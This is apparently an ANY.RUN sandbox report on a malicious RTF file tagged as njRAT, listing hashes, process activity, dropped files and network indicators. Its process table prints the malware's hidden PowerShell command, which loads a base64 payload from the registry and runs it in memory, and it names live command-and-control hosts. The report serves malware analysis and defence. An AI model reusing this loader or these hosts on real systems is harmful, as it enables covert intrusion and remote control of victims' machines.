analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

736e6d54e3eb3c167a4943223bb4fd3078390722f8db17f0f30fe1a1425e1ac4

Full analysis: https://app.any.run/tasks/64c7bfed-70c9-492e-8758-1783eb2ec059
Verdict: Malicious activity
Threats:

njRAT is a remote access trojan. It is one of the most widely accessible RATs on the market that features an abundance of educational information. Interested attackers can even find tutorials on YouTube. This allows it to become one of the most popular RATs in the world.

Malware Trends Tracker     >>>
Analysis date: February 18, 2019, 12:27:56
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
trojan
rat
njrat
bladabindi
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, ANSI
MD5:

9916A56D19510316CDAFBF5F6AA0183B

SHA1:

E999A9D0EF3489544EAB0218E0676AC085146611

SHA256:

736E6D54E3EB3C167A4943223BB4FD3078390722F8DB17F0F30FE1A1425E1AC4

SSDEEP:

1536:RJK0jap7JWpaOGB+YOn00Kuq/YK9F2/JbudaQaDl1PtpPASUYNNTY0Bg/7Qu/GQX:K

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2988)

    • NJRAT was detected

      • powershell.exe (PID: 3204)

    • Executes scripts

      • WINWORD.EXE (PID: 2988)

    • Connects to CnC server

      • powershell.exe (PID: 3204)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3204)

    • Executes PowerShell scripts

      • WScript.exe (PID: 3912)

    • Connects to unusual port

      • powershell.exe (PID: 3204)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2988)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2988)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
35
Monitored processes
3
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winword.exe no specs wscript.exe no specs #NJRAT powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2988"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\736e6d54e3eb3c167a4943223bb4fd3078390722f8db17f0f30fe1a1425e1ac4.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3912"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\se.js" C:\Windows\System32\WScript.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
3204"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'KeyName').KeyName;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 531
Read events
1 092
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
2
Unknown types
3

Dropped files

PID
Process
Filename
Type
2988WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR6D03.tmp.cvr —
MD5:—
SHA256:—
3204powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TSBMIQXZ00W3F3W4XSA0.temp —
MD5:—
SHA256:—
2988WINWORD.EXEC:\Users\admin\AppData\Local\Temp\se.jstext
MD5:AC72E03A8842A16A7FA8E1AFA816B9DE
SHA256:FA3072179254E90A15619897C441CBDB2A9C02DF7D5B4620B1F9665C26EE1DEC
2988WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\56043283.wmfwmf
MD5:DF4FB982CCC6A8B6A4BE45DAEAD5EDFA
SHA256:8B90123A121E71B90C6DD264C4924D3214450C9CA0086F4B0BCB06C757A919D1
3204powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:6073B6FC66D2E68644893344F6904E4A
SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3
2988WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:1AAFC9B5D9DD2EEB82651492B5B33C06
SHA256:A2AE73172BC06B9584CE0A917E5FF9FE14D4671F6681A1A5F2C91CC59649FEED
2988WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$6e6d54e3eb3c167a4943223bb4fd3078390722f8db17f0f30fe1a1425e1ac4.rtfpgc
MD5:887ED525F44CA63A7502CDB65E0AFC0C
SHA256:D8DA7BBF32F7AE7B0F44CF45FDC066A44E2CA4B7F9FFF03F4EC6CFC93076C7EC
3204powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF24fc91.TMPbinary
MD5:6073B6FC66D2E68644893344F6904E4A
SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3
2988WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lextext
MD5:F3B25701FE362EC84616A93A45CE9998
SHA256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3204
powershell.exe
GET
200
77.68.64.2:80
http://tuvmblr.com/DNS.txt
GB
text
28 b
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3204
powershell.exe
194.5.98.170:21000
holydns.warzonedns.com
—
FR
malicious
3204
powershell.exe
77.68.64.2:80
tuvmblr.com
1&1 Internet SE
GB
suspicious

DNS requests

Domain
IP
Reputation
tuvmblr.com
  • 77.68.64.2
suspicious
holydns.warzonedns.com
  • 194.5.98.170
malicious

Threats

Found threats are available for the paid subscriptions
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
736e6d54e3eb3c167a4943223bb4fd3078390722f8db17f0f30fe1a1425e1ac4